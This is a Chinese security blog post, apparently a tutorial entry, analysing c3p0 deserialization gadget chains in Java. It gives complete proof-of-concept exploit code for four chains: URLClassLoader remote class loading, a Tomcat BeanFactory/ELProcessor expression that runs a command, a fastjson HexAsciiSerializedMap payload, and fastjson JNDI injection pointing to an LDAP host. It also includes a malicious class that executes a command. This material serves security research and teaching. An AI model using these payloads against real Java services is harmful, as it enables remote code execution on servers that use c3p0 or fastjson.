Java安全(十五) 一些链子之C3P0

C3P0

C3P0是JDBC的一个连接池组件,它实现了数据源和JNDI绑定, 使用它的开源项目有Hibernate、Spring等。

在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接

用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。

依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

URLClassLoader

也被称为http base链

在PoolBackedDataSourceBase类的writeObject方法中有如下内容

image-20220718091157025.png

该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作

image-20220718091307687.png

这个类是不能反序列化的,所以会进入catch模块

image-20220718091448914.png

我们唯一可控的就是Reference

然后看PoolBackedDataSourceBase类的readObject方法

image-20220718091854399.png

跟进getObject方法

image-20220718092027772.png

看见了lookup方法!但是没办法利用,因为contextName为null

跟进referenceToObject方法

image-20220718092731838.png

var0是我们可控的,利用URLClassLoader来加载恶意类了

所以payload如下:

package c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {

    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("c3p0.evilexp","c3p0.evilexp","http://127.0.0.1:1099/");
        }
    }

}

package c3p0;

public class evilexp {
    public evilexp() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

image-20220718094123044.png

BeanFactory

如果环境不出网的话,就无法加载远程class,但是观察源代码

如果fClassLocation为null的话就是当前线程的ClassLoader而不是远程加载(这意味着能够实例化WEB目录下的任意类),加载到对象之后会调用getObjectInstance这个方法

原理可以看:https://paper.seebug.org/942/#classreference-factory

image-20220718101751050.png

会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

这里还要求传入的Reference为ResourceRef类

目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set…开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter

javax.el.ELProcessor就可以,或者

  • JDK或者常用库的类
  • 有public修饰的无参构造方法
  • public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

BeanFactory类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象,然后在这里得到了forcestring

image-20220718110916335.png

image-20220718111100807.png

最后达到命令执行

image-20220718111211957.png

package c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0WithBean {

    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        //PoolSource poolSource = new PoolSource("Evil","http://127.0.0.1:39876/");
        PoolSource poolSource = new PoolSource();

        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("b.bin")));
        ser.writeObject(poolBackedDataSourceBase);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("b.bin"));
        unser.readObject();
        unser.close();

    }

    private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(){
            this.classFactory = "BeanFactory";
            this.classFactoryLocation = null;
        }
        public PoolSource(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "CyanM0un=eval"));
            ref.add(new StringRefAddr("CyanM0un", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
            return ref;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

}

hex

fastjson和CP30的不出网利用,需要本地的另一条链如CC

package c3p0;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class C3P0WithFast {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("path/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        JSON.parseObject(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

}

image-20220718135219229.png

因为FastJson会在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的 setUpPropertyListeners处打下断点(根据名字应该是监听所有set事件的函数)

image-20220718140207891.png

跟进

image-20220718140302538.png

继续

image-20220718140334560.png

在此处触发反序列化漏洞

image-20220718140355469.png

JNDI

package c3p0;

import com.alibaba.fastjson.JSON;

public class C3P0WithJNDI {

    public static void main(String[] args) throws Exception {
        String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Evil\", \"loginTimeout\":0}";
        JSON.parseObject(poc);
    }

}

会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSourcesetJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBasesetJndiName。我们在该方法打下断点

image-20220718141846875.png

完成一些设置后,调用setLogininTimeout

image-20220718141919614.png

跟进inner内部的deference方法

image-20220718141919614.png

达到JNDI注入

参考

https://blog.csdn.net/rfrder/article/details/123208761

https://blog.csdn.net/u013190417/article/details/124311482

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值